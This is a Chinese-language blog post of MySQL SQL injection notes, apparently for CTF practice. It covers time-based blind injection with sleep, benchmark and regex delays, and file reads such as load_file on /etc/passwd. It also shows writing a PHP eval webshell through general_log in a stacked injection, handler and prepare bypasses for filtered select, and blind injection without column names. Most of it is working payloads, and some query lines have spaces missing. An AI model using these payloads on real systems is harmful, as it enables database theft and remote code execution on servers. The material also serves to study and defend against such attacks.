堆叠+无列名+时间盲注

延时盲注

延时函数:

sleep()

select sleep();

benchmark()

select benchmark(100000,sha1(sha1(sha1('tlfie'))));

get_lock

在一个session中先锁定一个变量 然后通过另一个session,再次执行get_lock函数

select get_lock('tlife',1);
select get_lock('tlife',5);

但也不是每次都能用,需要提供长连接,在Apache+PHP搭建的环境中需要使用mysql_pconnect函数来连接数据库,所以只能根据环境去实际测试一下,我在本地也没测试成功

正则表达式延时

正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

文件操作

mysql变量

可以通过

show variables

来查看系统变量以及其值
img

和文件有关的变量secure_file_priv

secure_file_priv对读写文件有影响。

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld不允许导入|导出。默认是nul

l当secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

读文件
select load_file('/flag')
select CONVERT(LOAD_FILE("/etc/passwd") USING utf8);
写文件
select "<?php phpinfo();?>" into outfile "/tmp/1.php"
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php"

outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

堆叠注入

堆叠注入条件

$mysqli->multi_query($sql);

当secure_file_priv为null时

如果堆叠注入,可以利用log日志文件写马

set global general_log=on;
set global general_log_file='xxxx';-- 设置日志文件保存位置
select '<?php eval($_POST['a']); ?>';-- 该内容将会被写入日志中

堆叠注入中select被过滤

handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next;#读取指定表/句柄的下一行数据
handler hdclose; #关闭句柄

mysql预处理

一、SQL 语句的执行处理
1、即时 SQL
  一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:

  1. 词法和语义解析;
  2. 优化 SQL 语句,制定执行计划;
  3. 执行并返回结果;
  如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
2、预处理 SQL
  但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
  所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入

实例如下,可以预编译一个语句然后执行即可,里面的变量是可以更换的

set @a=xxxx;
prepare stmt1 from @a;
execute stmt1;

例1:

img

以上 不设置变量直接使用,以下为设置了变量直接进行调用,
img

这是另一种使用方式,但是似乎无法使用字符串
img

DELIMITER $$create procedure fuck(out oo text(999), in ii text(999))BEGINset oo = ii;END$$call fuck(@a, 0x73656C656374202731323327)$$prepare b from @a$$execute b$$

无列名盲注

过滤了in/or

过滤了in/or导致无法使用information_schema

替代库

select table_name from sys.schema_auto_increment_columns where tabe_schema=database();

img

select table_name from mysql.innodb_table_stats where database_name='security'

img

select group_concat(table_name) from sys.schema_table_statistics

但是我们查询不了列名,这个时候就需要使用无列名盲注

#查询所有的库
SELECT table_schemaFROM sys.schema_table_statisticsGROUP BY table_schema;
SELECT table_schemaFROM sys.x$schema_flattened_keysGROUP BY table_schema;
#查询指定库的表(若无则说明此表从未被访问)
SELECT table_nameFROM sys.schema_table_statisticsWHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_nameFROM sys.x$schema_flattened_keysWHERE table_schema='mspwd' GROUP BY table_name;
#统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) iofrom sys.schema_table_statisticsgroup by table_schema,table_nameorder by iodesc;
#查看所有正在连接的用户详细信息
SELECT user,db,command,current_statement,last_statement,timeFROM sys.session;
#查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connectionsFROM sys.host_summary;

无列名盲注

union重命名

select 1,2,3 union select * from users
img **注入语句可写为**
select group_concat(a.2) from (select 1,2,3 union select * from users);

img

比较法

这就是盲注的思想了,前面的部分是你要注的内容,因为要判断不同,所以后面的都应该是最大的zzz 这样才能保证每一位的改变能影响后面的

img

这是对比第二位是的完整结果是admin
img

编写脚本的时候可能还需要做一个该字段是否结束的判断,也就是从一开始遍历到最后都没改变 说明结束了

img
Author

vague huang

Posted on

2021-08-09

Updated on

2021-08-18

Licensed under

Comments